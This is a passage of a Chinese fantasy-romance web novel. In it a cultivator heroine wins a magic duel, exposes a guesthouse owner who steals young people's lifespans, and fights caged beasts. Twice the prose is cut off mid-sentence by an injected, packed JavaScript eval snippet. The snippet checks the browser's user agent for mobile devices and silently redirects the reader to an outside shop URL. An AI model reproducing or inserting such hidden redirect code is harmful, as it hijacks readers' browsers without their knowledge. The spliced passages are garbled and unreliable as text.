“我管你哪个堂,就是叶无介来了,我都不用给他面子。” “看来您是认识我们叶掌门了?” 那人依旧和颜悦色。 “认识,他在我眼里也不算什么,更别说你了,识相点自己滚。” 颜清辞其实一直不清楚萧衍究竟什么身份。 她只知道他来自北地玄境山。但玄境门乃仙门正派,怎么会允许自己地盘出这么一位大魔? 而且林朔本身就是玄境门的弟子,他和萧衍的关系看上去很亲近,更叫人摸不着头脑。 钱镇长见状,忙说:“哎哟,萧大师,郑大师与你们都是我的客人,您要签字,我这就给您签,后面的事就交给郑大师吧。” 萧衍狠狠剜了他一眼,说:“合着你叫我们来就是要下逐客令咯?你猜怎么着,我们还偏偏不走了。这姓郑的就是个神棍,地震不过是自然现象,跟什么河神没有半毛钱关系。” 钱镇长面露难色,结巴着说:“这……你们留在这里,继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019705|194240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触怒河神的话……” “我都说了没有什么河……” 萧衍还要发作,却被颜清辞抓住了他的胳膊制止:“我们会负责的。” 萧衍低头看了她一眼,竟然顺从地闭了嘴。 颜清辞平静地说:“钱镇长,是我们解了钱氏子弟的诅咒,这是有目共睹的,所以,还请您相信我们。至于我们和这位郑大师究竟谁说的有道理,我认为,还得找个法子给您证明一下。” 这会儿轮到郑雷有些慌了:“怎么个证明法?” “比一比。”颜清辞淡定一笑,“咱们既然都自称自己有本事,那就在钱氏的耆老面前斗一斗法,如果你赢了,我们二话不说,即刻离开清溪镇,要是你输了,你也识相点自己走,怎么样?” 郑雷轻蔑一笑,上下打量了她一遍,道:“你们四个,对我一个,不公平吧。要不然,就你跟我比。” 他显然是看出了颜清辞灵力不高,想挑软柿子捏。 “可以。”颜清辞干脆答应,她又转向钱镇长,说,“怎么样,您觉得这个方案可行吗?” 钱镇长愣了愣,却还是说:“好吧,那就今晚七点,在钱氏宗祠,我把宗族里的长辈们叫来,想必他们也会想看个新鲜。” 是夜,钱氏宗祠四四方方的庭院内,围坐着钱氏宗族的耆老长者。屋檐上挂满了红灯笼,照得整个院子亮堂堂、红彤彤,颇有几分古色古香的隆重。 “既然是斗法,那就按照传统的方式来。”郑雷俨然一副老学究的姿态,“三局两胜,第一轮控制术、第二轮搏击术、最后一轮幻术,如何?。” 颜清辞耸耸肩道:“你是学院派,就按你说的来。” 来这里之前,萧衍给她输了不少功德,此时她觉得整个人神清气爽,自信异常。 控制术多是依赖咒法控制物品或者人的法术,比赛的规则是两位修行者不可移动身体,控制裁判选定的物品去摘屋顶旗杆上的彩头,先摘得彩头的一方胜。 此次的彩头是钱镇长办公室里拿来的一个葫芦,上面系着红色彩结,高悬于屋顶之上。 钱镇长对端坐在祠堂正前方正中的一位老者恭恭敬敬地请示道:“四伯,还请您挑选一样东西,给他们做考题。”那老者缓缓扫视了一圈院落,指着门外的方向,不紧不慢地说:“那就看二位大师能否让祠堂门口的石狮子去摘得屋顶上的葫芦吧。” 比试正式开始。 随着颜清辞和郑雷念动咒文,祠堂外的两座大石狮子一前一后跑进门来。狮身笨重,踏在青石板上铛铛作响。 见此情形,纵使是见多识广的族中长老,一个个脸上也禁不住露出惊叹之色。 郑雷控制的公狮耍一小石球,朝着颜清辞操纵的母狮抛掷而去。 母狮爪下的小狮子抬起头咆哮一声,迎着那球扑上去,石球再次砸向公狮。郑雷一抬手,那小球倏然变化成一根坚韧的绳索,转眼绊住了母狮的前爪。 颜清辞丝毫不乱,她指尖变出一道符来,轻轻一吹气,符咒化为一道火光,飞向母狮脚边,只听“砰”一声,石绳崩成无数碎屑。 小狮此时骑到母狮背上,化作双翅,那母狮便腾空飞了起来。 眼看着母狮就快飞上屋檐,郑雷手一挥,屋顶的瓦片如刀片般射来。而那公狮撒开腿飞奔,三下两下攀上了高墙。颜清辞打了个响指,漫天的黑刃化作几十只乌鸦,四散飞逃。 台下的林朔发出一声轻叹:“操纵活物的术法难度极高,她平日里还没有足够的灵力练习,颜作家确实有点东西。” 萧衍得意地看了他一眼,仿佛炫耀什么似的。 两头石狮在屋檐碰面,彩头近在咫尺,郑雷毫不犹豫对颜清辞发动了攻击。公狮一张嘴,口中衔着的小球变成尖锥朝母狮飞了过来。 母狮偏头一躲,耳朵却还是被削去一半。颜清辞一皱眉,母狮便朝公狮扑了上去,两头石狮在屋顶扭打到一起。 小狮这时也化为原型,用力撕咬着公狮的后腿。 “哟,颜作家脾气不小。” 林朔抱着胳膊,眼看萧衍又要露出那种肉麻的表情,忙说,“哥你差不多得了。” 4. 斗法 郑雷伸出手掌,作出一个抓握的动作,只见偏殿内飞出一把大铁锤来,作势就往母狮头上砸去。颜清辞几乎同时伸出五指,只见那铁锤的金属部份凭空消失了。 众人再定睛一看,那母狮伸出的利爪闪着寒光,猛地一扑,公狮子的脑袋被抓出一个大窟窿。电光火石间,小狮早已灵巧地攀上旗杆,叼起那个葫芦,得意地摇头晃脑。 院内爆发雷鸣般的掌声,钱镇长一边拍手一边欢呼:“第一回合,颜大师胜!” 颜清辞拍拍手,朝萧衍他们走过去,接过他递过来的水,淡定地喝了起来。 而萧衍则不动声色地掏出匕首,一边划破手指,一边拉过她的手,凑到她耳边说:“别被他们看出来,我再给你一点功德。” 外人看起来,俨然是一对小情侣黏黏糊糊秀恩爱呢。 “我的功德够用,别这样。” 颜清辞抗拒地向后退,耳根红了一片。 “多多益善。” 萧衍画完符咒,仍拉着她的手不放,压低嗓音,温热的气息喷在她耳廓,“你书里那些男的不是最爱说了:别担心宝贝,你—吃—得—下……” “萧衍你!” 颜清辞羞得面红耳赤,一把推开他,“离我远点!死变态!” 他两手一摊,做无辜状:“冤枉啊颜作家,那些话可是你写的,咱俩谁才是变态?” 颜清辞没心思跟他辩,第二回合比近身搏击,是她最不擅长的科目。 她深吸一口气,走回庭院中央。 “比招不比命,谁先弄断对方胸前的缎带,谁就算赢。” 郑雷递给她一条红色的缎带,他自己则将蓝色的缎带系到胸前。 两人进偏殿各自挑了一把剑,大部分仙门正派都还是以用剑为多,带她修仙的那位孙大师也曾经带她上山学过一段时间剑术,但实在谈不上精进。 他们在院中间站定,郑雷舞动手里的剑,对着颜清辞胸前的缎带直挑过来。 既是比搏击,就不能用法术,只可用灵力抵挡。颜清辞轻巧躲开,绕到郑雷身后,提起剑柄,欲从脖子后面下手。 郑雷一早看穿了她的意图,稍一侧身,两把剑碰到一起,发出“噔”的一声。颜清辞赶忙策动灵力,才勉强挡住冲击。 郑雷并没给她喘息的机会,他脚步飞快变换,长剑直逼到面前,颜清辞慌忙格挡,连连后退。 “左边。” 一直沉默不语的罗晟此时忽然开了口。 颜清辞心领神会,调整了几下步态,催动灵力,反守为攻,挥剑往他左侧身砍去。 郑雷的弱点果真在左边,她集中攻这边,他的步伐显然乱了些许,露出不少破绽来。 只可惜颜清辞着实学艺不精,始终没钻成空子。 郑雷倒像是被激起了兴致,笑道:“小姑娘,既如此,我就不再放水了。” 他后退几步,调整了一下节奏,忽然动作比方才快了一倍,左攻右打,颜清辞只得胡乱抵挡。 倏地,眼前闪过一道白光,待她回过神来,胸前的缎带已然碎成两半,飘落在地。 “第二回合,郑大师胜!” 钱镇长的声音再次回响在院内。 颜清辞把剑放回偏殿,面无表情地回到那三个男人坐的地方。 罗晟难得又开了口:“还行了,他是高手。” 颜清辞点点头,萧衍却有些担心地问:“幻术你行不行?” “还可以,白天跟林朔学了几招。” 颜清辞淡定地说。 萧衍又转向林朔,问:“她可以吗?” 林朔的回答也很平静:“教了教她空间变幻类术法的应对策略,她之前没接触过,但应该问题不大。” “你这是哪里来的信心?” 萧衍皱起了眉头。 “跟你学的。” 林朔意味深长地看了他一眼。 萧衍叹了口气,安慰颜清辞道:“安全第一位,不要逞强,输了也没关系……” “我不会输的。” 颜清辞坚定地说。 好嘛,这是胜负欲被激出来了。 第三回合开始,双方可以运用任意幻术,率先将对方逼入祠堂正殿的赢。 对决二人再次站至院落中心点,此时闷热的夏夜忽然起了风,吹动他们的衣角。 莹莹月光下,颜清辞的面容愈发清秀出尘,当真宛若遗世独立的仙子,叫萧衍移不开眼。 她轻捻指尖,地面的纤尘缓缓浮起,霎时间,平地上升起一座高塔,将郑雷没入其中。 天空一声惊雷,只见一条墨色巨龙从七层宝塔中破壁而出。那龙首上站着郑雷,他伸手一指,巨龙便朝着颜清辞吞云吐雾而来。 颜清辞一背手,宝塔瞬间化为乌有,同时,她手中化化出一条锁链来,将那墨龙死死缠住。 她牵动锁链,将那龙甩向正殿的方向。 郑雷从龙首一跃而下,乘一片云落到地面,随着他念动咒文,在场众人发现自己置身于一片竹林之中。 身后的竹叶沙沙作响,颜清辞回头,一头黑豹缓缓现身,一双翠绿的眼睛凝视着她。 黑豹飞扑上来,她攀上一棵高竹,摘了一片竹叶,那叶片变幻成一把尖刀,直插黑豹眉心,那野兽霎时没了踪影。 而她身边的竹子此时生出无数藤蔓来,缠住她的手脚,植物仿佛化出人形,连根而起,抓着她就要往一个方向走。 颜清辞抬起头,见空中圆月悄然移动了位置,她在指尖擦出一团火苗,朝四周一弹指。 竹林顷刻间被大火燎燃,幻象褪去,她已然站在了正殿门口。 颜清辞撇了撇嘴,凝视着一脸得意的郑雷默默抬起了胳膊。 当她的手掌抬到高点时,四周的景致像LED大屏一般突然切换了画面,在场所有人仿佛进入了一个纯白的空间。 很快有一两位老者发出惊叫,他们发现自己竟漂浮在半空之中。 萧衍等人倒是十分淡定,他用胳膊肘推了推身旁的林朔,低声说:“你后继有人了。” 林朔点点头道:“你应该反思一下,人家学了一晚上就会,你学了几百年还废,这是为什么。” “我不用反思,我又不靠法术吃饭,我靠的是脸。”萧衍理直气壮地说。 林朔白眼翻上天,懒得接半个字。 郑雷脸色骤变,实在没想到这个不起眼的小仙君竟会使如此精妙的空间幻术。 他指尖一挑,变出一只巨大的蜥蜴来,那蜥蜴沿着空间的边缘爬动,所到之处,它那粗糙的皮肤上便印出院落原先的模样。 终于,巨蜥停在了某个位置,它的身上印出了正殿的大门与匾额。 颜清辞轻轻一勾手,郑雷脚下的地面迅速移动起来。他腾空一跃,朝着巨蜥相反的方向后退。 而那爬行类身上的画面又跑马灯似地转动起来。 郑雷专注观察着巨蜥身上映照的画面,步伐灵巧地改变自己的位置。 颜清辞则始终稳若泰山,一丝不乱地捻动十指。 忽然,蜥蜴皮肤上的画面定格了——又是正殿大敞的雕花木门,然而,在那门里头,他竟明明白白瞧见了自己的身影。 颜清辞轻轻一弹指,只听得一阵玻璃碎裂声响,一面巨大的镜子在郑雷面前崩成了无数碎片。所有幻境褪去,在场诸人不知何时回到了原本的位置。 而郑大师此刻则一脸不可置信地站在钱氏祠堂正殿的中央,身后一排排祖宗灵位上,烫金的楷字在烛火摇曳中闪着光芒。 “你……你居然用镜子迷惑我!” 郑雷大呼上当。 颜清辞轻巧地一撩头发:“兵不厌诈。” 整个院子内鸦雀无声,片刻后,掌声和叫好声轰然响起。 钱镇长用力拍着手,脸色由于激动显得红润非常 “颜大师获胜!玄境门果真名不虚传!” 颜清辞微微颔首,颇有几分傲气地朝她的团队走去。 众人的目光都集中在她身上,并没有注意到此时郑雷的脸上出现的扭曲神情。 萧衍起身来迎她,颜清辞下意识要躲开,他却猛地一伸手将她拉进怀里。 她双眉紧皱不悦地喝了一声他的名字,却见他另一只手里紧紧攥着一条黑色的小蛇。 那蛇嘶嘶吐着信子,在萧衍手里三两下就没了气息,化作一道黑烟。 他眼中简直要冒出火来,对着已然走出殿来,隐匿在阴影处的郑雷怒吼道:“愿赌服输,拿这种下三滥的手段报复,就是你们云中门的做派?” 那郑雷作势要跑,罗晟不知何时已然出现在他身后,将他牢牢擒住。 萧衍松开颜清辞,她知道自己误会了他,小声说了一句“谢谢”。 萧衍余怒未消,但对着她,语气平和了许多:“他们云中山里竟是这些烂糟的货色,被这灵蛇咬了,虽不致命,也要疼上好几天伤口才能愈合。” 罗晟把郑雷扭送到他们面前,问:“他怎么办?” 萧衍道:“先带回民宿,开个房间关起来,等这里的事处理完了,我要亲自带他去叶无介面前讨个说法。” 他转向钱镇长,又说:“既然我们赢了比 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话语间,他们已经来到了娘娘庙门外。水管修缮的工程已经完成,工人们正在往地面浇灌水泥。 穿过正殿,四人正要迈步进后院,走在最前面的颜清辞忽然拦住了身后的萧衍,对着他比了一个“嘘”。 他们探头出去,只见远处那座墓碑后面,蹲着一个人,似乎正在整理地上的东西。 那人像是听到了动静,猛然抬起头,朝这边看了一眼,还没来得及看清面容,便转身撒腿就跑 萧衍反应极快,轻轻拨开颜清辞一个箭步窜了出去,其余三人跟在后面追上。 那人哪里跑得过萧衍,才进林子里就被他拎了回来。 原来是个学生模样的年轻人。 “你跑什么?”萧衍放开他,抱着胳膊问。 那男孩支支吾吾地说:“我……我什么都不知道……我就是个跑腿的。” “替谁跑腿?” “我奶奶啊,前几天地震,她叫我来看看墓碑还好不好。” “这谁的墓?” “我哪知道,我就是放假回来看我奶的,她让我来扫墓,我就来了。” 颜清辞说:“你奶奶在哪里,带我们去你家。” 那年轻人一挑眉,恼道:“你们谁啊,我凭什么带你们去我家?” 萧衍直视他的眼睛,一字一顿地说:“带-我-们-去-你-家。” 他说这话时,一双黑眸晕出血色。 那年轻人愣了几秒,顺从地说:“跟我来吧。” 年轻人领着他们来到一座精致的小院,走进大门,一位身着旗袍的端庄老妇人正在花园里仔细修剪着盆栽 “奶奶。”年轻人呼唤她。 老妇人抬起头,看见他身后站着的四人组,倒也如没有露出太惊讶的神情,淡淡地说:“带朋友回来啊。” “他们是来找你的,奶奶。” “哦,这样?”老妇人放下剪子,脱掉工作手套,朝他们走了过来。 她指了指花园里一张大伞下的藤椅藤桌,说,“你们上那边坐一会儿吧,我让林妈泡壶茶来。” 众人坐定,茶也泡了,老妇人徐徐问道:“你们这几个孩子,找我这个老太婆有什么事啊?” 萧衍浅浅一笑道:“奶奶,娘娘庙后院那座无名墓碑下面,葬着的是谁呀?” 老妇人也笑了:“你们既然问了,心里自然已经有想法的,你们认为是谁呢?” “我们认为啊,那座墓碑下面埋着的,就是诅咒了钱氏后人的那位女子。” 萧衍也不拐弯抹角,直接说出了他们的猜测。 老妇人脸上的笑容消失了,颇有些严肃地反问道:“诅咒钱氏后人?” 她仔细打量了他们一遍,又说:“我听说,钱佳铭从外面请了几位大师来破什么钱氏子弟的诅咒,说的就是你们几个吧。这么年轻,我倒是没想到。” 萧衍说:“既然奶奶您已经知道了我们的来意,还请如实告知,这诅咒和那座坟里的人,到底有什么关系。” “没什么关系,什么诅咒不诅咒的,以前也没听过。” 四人交换了一下眼神,换颜清辞开了口:“奶奶,既然您在祭奠那位夫人,想必是知道她与钱氏曾经的恩怨的吧。” “你们说的那个人,她叫聂霜华,她确实与钱家人积怨颇深,但是,你说是她下的诅咒,这绝无可能,因为,谁会给自己的后代血脉下诅咒?” 一听这话,四人皆是一惊。 5. 黑手现身 “自己的后代血脉?这是什么意思?”颜清辞问。 老妇人轻轻叹了口气,缓缓道:“我们家姓袁,两百年前,我家的祖先是钱家的管事。传闻中那位钱家先祖叫钱誉澹,聂霜华是镇上米铺家的女儿,同他青梅竹马,两人情投意合,用现在的话来讲,就是彼此的初恋。” “可是后来钱誉澹寡情薄幸、另娶他人,不仅伤了她的心,连她的孩子也被害死了,不是吗?”颜清辞问。 老妇人眯起眼,若有所思地说:“你们听到的传闻是这样的吗?” 她转向萧衍,问道:“小伙子,我问你,你家里要是反对你和初恋在一起,你会怎么做?” 萧衍不假思索地说:“家里人算个球,就是玉皇大帝来反对,我都能掀了他的凌霄殿!” 不知怎么的,说起这事,他竟还生出几分热血来。 “是嘛,这才是人之常情,世上并没有那么多薄情寡性之徒。但当时不比现在,家里给他说的亲是知府家的千金,钱誉澹也知道不能违抗,但辜负心中所爱又实在愧疚,成亲后不到一个月就郁郁而终。” 四人面面相觑,谁也没想到故事会是这个走向。片刻后,颜清辞又问:“那么……孩子又是怎么回事?” “钱誉澹成亲的时候,聂霜华已经怀孕了。后来钱家的人发现了这件事,钱誉澹乃是独子,自然想要留住钱氏的血脉,便把聂霜华软禁了起来。待她生产,又将孩子抱给了钱誉澹明媒正娶的那位夫人抚养。” 老妇人刻意顿了顿,像是强调似地放慢了语速说:“所以,聂霜华根本不可能去诅咒钱氏的后人,因为,钱氏后人的身体里,也流淌着她自己的血脉啊。” 所有人听了这话,都沉默了,连那方才开始就一脸懵的年轻男孩,此时也露出了凝重的神情。 “爱人病死,儿子也被抢,聂霜华产后没多久就撒手人寰。我的祖先甚是同情这位聂夫人,待到小少爷成年后,还是将真相告诉了他。 作为钱氏的接班人,又考虑母亲的养育之恩,那位少爷也不好明面上认回自己的亲妈,就拜托我的祖先代为祭奠,而这个使命也一代代传了下来,到了我这里。” “封建思想害死人啊……”老妇人的孙子发出一声喟叹。 萧衍托着下巴,思索良久,才道:“如果钱氏的诅咒压根不存在,那么,究竟是谁在背后捣鬼,目的又是什么呢?” 颜清辞忽然像是想起了什么,她一拍桌子,对林朔说:“我有个想法,不过我对八字的研究不深,需要你帮忙。” 萧衍一皱眉,说:“为什么不找我帮忙。” “你懂八字么?” “不懂。” 颜清辞冷冷瞥了他一眼,此时此刻,无语便是她的母语。 他们一回到民宿,颜清辞和林朔便在餐厅找了张桌子一坐,研究起这些年受害者的生辰八字来。 萧衍听了一会儿,觉得实在无聊,伸出食指戳了戳颜清辞的胳膊,问道:“你房卡给我,我去看看那只小畜生在干嘛。” 颜清辞头也没抬,说:“我没锁房门,整天把它关着也没必要,我把灵力索加长了,让它在民宿里跑跑,你无聊的话,可以去找找它在哪儿。” 萧衍不悦地哼了一声,说: “你对这小畜生也太放纵了!” “它有名字,别总叫人家小畜生。” 萧衍又哼了一声,起身正要走,老板娘这时端着热腾腾的面条走了进来。 “你们还没吃饭吧,我做了清溪镇特色的浇头面,你们尝尝。” 一听有吃的,萧衍立马又坐了回去,颜清辞终于抬头看了他一眼——足像条见了肉包子的大型犬。 吃完浇头面,萧衍终于走了,整个餐厅安静下来,只剩下颜清辞和林朔刷刷在纸上写着卦文的声音。 罗晟则一直坐在那里打着游戏,他向来沉默寡言,有时候甚至感觉不到他的存在。 过了一个多小时,萧衍又从外面转了回来,他俯下身,脸都快和颜清辞贴到一起。 却又看着林朔和罗晟,小声说:“我发现了一件事,你们不要表现出异常,跟我来。” 颜清辞挪开脸,整了整桌上散落的草稿纸,站了起来。 三人跟着萧衍来到民宿后院一处凉亭,他蹲下身,掀开一块地砖,只见招财从里面探出头来。 它一见萧衍,吓得瑟瑟发抖,一双乌黑的小圆眼里闪出泪光来。 萧衍伸手,把它抓出来,原来那地砖下面是个藏宝坑,什么金手镯啊、金项链啊、宝石戒指、翡翠玉石应有尽有。 “我找到这小畜生的时候,它正在这儿抱着这些赃物发癫呢。” 颜清辞看着招财,问道:“这些东西都是你偷来的么?为什么会藏在这里?” 林朔翻着那坑里的东西,说:“都是好东西,不像是一天两天囤的。” 颜清辞又问招财:“你为什么把东西藏在这里?” 就在这时,招财忽然挣脱了萧衍的钳制,一溜烟往草丛里窜过去。 颜清辞眼疾手快,扔出一张灵力网来,正将它套在当场。 她看了一眼萧衍,问:“你也会失手?” 他想说什么,脸上却露一丝困惑。沉默了足有五秒之久,萧衍才说:“我用不了灵力了。” 林朔和罗晟面面相觑,他们各自伸手想要催动灵力,片刻后,齐声说:“我也用不了。” 萧衍猛然想起了什么,惊呼:“退灵散!” “什么东西?” 这会儿轮到颜清辞一头雾水。 “一种令人暂时无法动用灵力的药,云中门开发的。” 林朔解释道。 “有人下药?那我怎么没事?” 颜清辞一勾手,抓着招财的网回到了她手里。她将网变为绳索,拴住它的脖子。 “谁知道。” 萧衍说,“抓好这小畜生,去找云中门那个神棍算账。” 四人组来到关押郑雷的房间,萧衍轻轻关上身后的门,才开始发作。 “你给老子下药?” 郑雷也是一脸懵,道:“什么下药?” “退灵散,不是你们云中门的专利么?” “我被关在这里,怎么给你们下退灵散?况且我这次出门也没有带那东西。再说了,退灵散早就是市场上流通的药物,谁都能买到,凭什么就说是我?” “他不像在说谎。” 林朔说。 “你们是吃了什么东西中招的?” 颜清辞百思不得其解。“我们吃的不都是一样的东西,中午才吃了浇头面……” 萧衍说到这里,忽然意识到了什么,他的目光移向招财,恶狠狠地说:“小畜生,你和这个地方,到底有什么关系?” 招财连连往颜清辞怀里躲,吱吱叫了几声。 “它说,它也是被逼的。” 颜清辞翻译道。 “谁逼的你?” 萧衍问。 他话音刚落,房间里的灯瞬间熄灭了,窗帘“刷”地自动拉上,四周暗了下来。 郑雷仿佛此时才猛然意识到加在他身上的禁闭术已然失灵,趁众人不备,他飞快跑到门边,一拉门便溜了出去。 四人连忙追出,却发现走廊的灯也灭了。 整个民宿静悄悄的,不知哪里一个年久失修的水龙头,奏出平稳的滴水声。 一阵阴冷的风划过他们的面颊,阴暗的走廊尽头,出现了一个熟悉的身影。 “是你下的毒?” 萧衍的语气此刻已经无比平静。 那人似乎笑了一下,他们却看不真切。 “你们早该走的,偏要留下坏我的事,就别怪我无情了。” 民宿老板娘高昂的嗓音如旧,此时却没了一丝温度。 颜清辞道:“所有钱氏诅咒的受害者,他们的八字彼此之间虽然看似毫无联系,但如果搭配他们出事的年份来看…… 每一位受害者在出事的那一年,都是流年大利,我想,这不是巧合吧。” 她手一挥,走廊里的灯再次亮了起来。 “老板娘,你能不能告诉我,你到底用的什么法术,又为什么要那些年轻人的命呢?” 老板娘抬头看了一眼天花板上的灯,说:“那退灵散难道对你没用么?” “看起来是这样。” 颜清辞耸耸肩。 老板娘冷笑一声,周身泛起红色的光晕。 “颜小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019707|194240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐,他们几个恐怕理解不了,但我想,你应该可以。对于女人来说,青春美貌才是最珍贵的东西。” 她一边说,面容一边缓缓发生了改变:原本光滑白皙的皮肤上生出道道沟壑。 一张脸干瘪下去,不一会儿就变成了老妇的模样。 “如果没有那些年轻人,我就只能是这副模样。” 她的声音也苍老了许多,变得沙哑阴沉。 “换岁?” 一边的林朔冷不丁说出了这两个字。 其他三人的目光集中到他身上,他解释道:“我曾经在一本古籍上读到过这种邪术。有的修道者练成之时年事已高,便会用这种术法和年轻人‘换岁’,来维持年轻的身体和面容。” “想要变什么样子,用法术不就好了?” 颜清辞疑惑不解。 林朔道:“年纪越大,想要变回年轻人的样子,消耗的灵力就越多,这就是为什么许多仙魔,明明有能力,却并不都会变成二十多岁的样子。” 颜清辞点点头,又望向老板娘说:“所以,跟你‘换岁’的人,每年都要符合特定的八字,而这就是你选人的标准。” 她像想起了什么,又说:“啊,对了,我记得你说过,你丈夫就在钱氏宗族里工作,所以他可以接触到记录了所有钱氏子弟生辰八字的族谱。这就是你只挑选钱氏后人的原因,所谓的诅咒,根本就是你故意散布出来混淆视听的。” 那张衰老的脸上再次露出阴狠的笑意,她说: “挺聪明,只不过,你的灵力太低微,凭你一人,今天你们谁也别想走出这里。” 颜清辞握紧了拳头,她此时确实有些心里没底。 昨天晚上那场比试已经把萧衍渡给她的功德用得七七八八,这老板娘看起来实力不容小觑,还真有些凶多吉少的意思。 这时,站在她身后的萧衍突然一步上前将她揽进怀里,她还没来得及反应,温热的双唇已然覆了上来。 颜清辞大脑一片空白,刚想推开他,就感应到一股醇厚的暖流顺着嘴唇注入了她的身体。 几乎是同时,她的余光瞟到自己周身生出五彩的烟气,飘进萧衍的领口之中,通过灵纹被他吸收。 颜清辞感觉过了很久,萧衍终于松开了她。他对着她露出一个开怀的笑容,说:“我用不了灵力,画不了符,只能用这种最传统的方式了。” 他说这话时,从颜清辞身上溢出的最后一缕功德钻进了他的脖子。 “颜作家,看起来,你对我也挺满意的。” 萧衍故意舔了舔嘴唇,笑得颠倒众生。 “你……” 颜清辞心里憋了一万句脏话,此刻却一句也说不出来。 这是她的初吻,居然就被这混蛋夺走了。 更糟糕的是,功德这东西骗不了人的。 一定是某种渴望得到了满足…… 完蛋,以后在这个男人面前更加抬不起头了…… 萧衍一脸无辜,双手一摊说:“真不是占你便宜,颜作家,我可不想咱们今天都交代在这里。” 然而,情势刻不容缓,不允许她继续纠结刚才这个突如其来的吻。 老板娘一抬手,袖口里飞出几十枚银针来。 颜清辞默念护身咒,他们面前竖起一道灵力屏障,将那些暗器尽数弹了回去。 他们脚下的地板忽然动了起来,如水波一般奔腾翻滚。墙上的壁灯弯折下来,像一座座枪口对准他们,射出一发发子弹。 移动的空间里,护身咒容易产生盲点,罗晟这时已然撑开了他的伸缩棍,挡开了漏网的子弹。 “你这‘无妄’不用灵力也这么好使吗?” 萧衍赞叹道。 “当然。” 短短两个字,却透露出几分得意。 “罗队长这棍还有名字呢。” 颜清辞也有些惊讶。 “他那是少林怀渊大师亲授的法器,来头大着呢。” 萧衍说。 “那就有劳‘无妄’助我们逃出生天啦。” 颜清辞浅浅一笑,手中变出一根绳索,挂上一盏壁灯,她轻轻一扯,那灯便从墙上跌落,摔了个粉碎。 而此时,老板娘早就不见了踪影,困住他们的这间民宿,已然活了过来。 6. 云中山 灵力变就的绳索往来之间,向他们开枪的璧灯被颜清辞尽数击落。 地板掀起的波澜推着他们前进,但他们很快发现自己在向下移动,原本包裹着他们的狭窄走廊逐渐引向一座开阔的大厅。 地面终于停止了滚动,大厅正上方的水晶吊灯倏然亮起。 四人组这才看清,此处像一个马戏的舞台,圆形的场地周围一排排观众席,坐席高处,已经变回年轻模样的老板娘安然入座,俯视着他们。 角落里传来几声轻快的鼓点。“哗啦啦”——场边的兽栏蓦地打开了,从那黑洞洞的出口传出几声低吼,不一会儿,里面踱出一头皮毛鲜亮的老虎。 那虎瞧了他们一眼,双目现出血色的渴望。 颜清辞轻轻吹了一口气,一股灵力掠过那虎的额头,燎下一小撮毛来。她深吸一口气,道:“是真的,不是幻术。” 方才一直被灵力索牵着跟在后面的招财爬上了她的肩头,轻轻吱了几声。 “招财说,这些野兽也都和它一样,是被那个老板娘圈养在这里的,它们已经很久没吃肉,早饿疯了。” 萧衍瞥了招财一眼,说:“这小畜生和那老妖婆一伙的,谁知道会不会偷袭,先拿它给这老虎垫垫饥。” 招财一听这话,浑身毛都竖了起来,它站在颜清辞肩上,对着萧衍吱吱乱叫,不用翻译也知道它骂得有多脏了。 “它是被迫的,现在已经改邪归正跟了我了。” “小畜生的话你也信?” “只有人会说谎,动物不会。” 颜清辞不以为然地说。 那老虎在地上磨了几下爪子,猛地朝他们飞扑过来。 颜清辞手指凭空画出一道半圆弧,那虎一头钻进面前陡然出现的拱形空间,从场地远端的另一头钻了出来。 如此反复几个来回,那虎始终近不了他们的身,急得疯狂咆哮起来。 轻快的鼓点再次响起,这一次,四面八方好几个兽栏同时打开。 从那些门里,跑出一头灰熊,两头花豹和几匹狼。 所有猛兽都死死凝视着他们,仿佛下一秒就要将他们撕成碎片,啃噬他们的皮肉、啜饮他们的鲜血。 “罗晟你负责那头熊,林朔你搞定那两只豹子,狼交给我,颜作家,你继续逗那头老虎,必要时候朝它们扔定身咒给我们保命。” 萧衍当机立断,明确了每个人的分工。 说着,他从怀里掏出匕首,朝着跑在最前面的那头狼迎了过去。 那狼张嘴就上来咬,他一侧身,匕首直插心脏而去,那狼瞬间发出一声惨叫。他拔出匕首的同时,那半人高的狼已然重重摔在地上,咽了气。 他的脸上溅了血,看着后边那五头狼的眼神反倒更像一头野兽。 几头犬科龇牙望着他,从喉咙里发出愤怒的低吼。 萧衍忽然从嘴里发出几句呜呜嗷嗷的叫声,仿佛在和这群狼说着什么似的。 狼群彼此之间看了看,又回头望了望看台上的老板娘,最后竟一个个顺从地低下头,朝着萧衍作出“俯首称臣”的动作。 颜清辞一边调度着猛虎,一边叹为观止道:“你还懂狼语?” “玄境山的人都懂怎么驭狼。” 萧衍淡淡地说。 “你跟他们说了什么?” “我承诺救他们出去,他们现在认我当他们的alpha。” 萧衍话语间,那几头狼已经加入了他们的阵营,其中两头朝着缠住林朔的那两头花豹扑了过去。 林朔这边画风着实有些搞笑。 正在颜清辞思考着斯斯文文的他预备如何驯服这两头矫健的大猫时,只见他从口袋里掏出一包草药来,洒在在面前的地上。 那两头花豹原本还瞪着他预备将他拆吃入腹,见了那草,即刻扑倒在地上,用力吸起那草药的味道来,有一只甚至连肚皮都翻了起来。 “这是……猫薄荷?!” 颜清辞惊呼。 “用功德熏过的加强版,不过我身上带的不多,看好你那只猫,别让它过来。” 林朔道。 猫奴不愧是猫奴,关键时间还能救命。 那俩猫吸得正酣,忽然被狼撕咬起来。遭到偷袭,两豹猛然惊起,身体里的猫薄荷瘾还未褪去,精神还是恍恍惚惚,哪里斗得过饿狼。 它们很快就败下阵来,一阵风似地溜回兽栏里去了。 